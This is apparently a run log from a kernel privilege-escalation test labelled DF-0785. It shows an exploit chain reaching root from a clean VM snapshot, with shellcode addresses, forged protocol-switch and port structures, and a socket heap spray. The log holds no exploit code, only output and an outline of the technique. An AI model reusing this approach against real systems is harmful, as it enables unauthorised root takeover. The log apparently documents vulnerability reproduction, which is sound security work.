DF-0785 escalation chain — RUN 2 (FRESH RESET, GENERIC #0, INVARIANTS ON, with-src)
==================================================================================
Proves the uid=0 is NOT leaked state: guest was reset to with-src, kernel +
heap rebuilt from the snapshot, then the chain redeployed and re-run.

[chain] pid=2161 uid=1001 euid=1001
[chain] shellcode @ 0x13371000 (157 B); forged protosw @ 0x13372800; forged port @ 0x13373000 (mp_putport->shellcode)
[chain] sprayed 5000 sockets (zone-34 / struct socket)
[chain] punched holes; 4000 live sockets remain
[chain] *** ROOT ACQUIRED *** uid=0 euid=0
uid=0(root) gid=0(root) groups=0(root)
after setresuid: uid=0(root) gid=0(wheel) groups=0(wheel)
CHAIN_SUCCESS_UID0

=> Reproduces the maxx->uid=0 escalation on the default GENERIC kernel from a
   clean snapshot boot. Two independent fresh-reset runs both succeeded.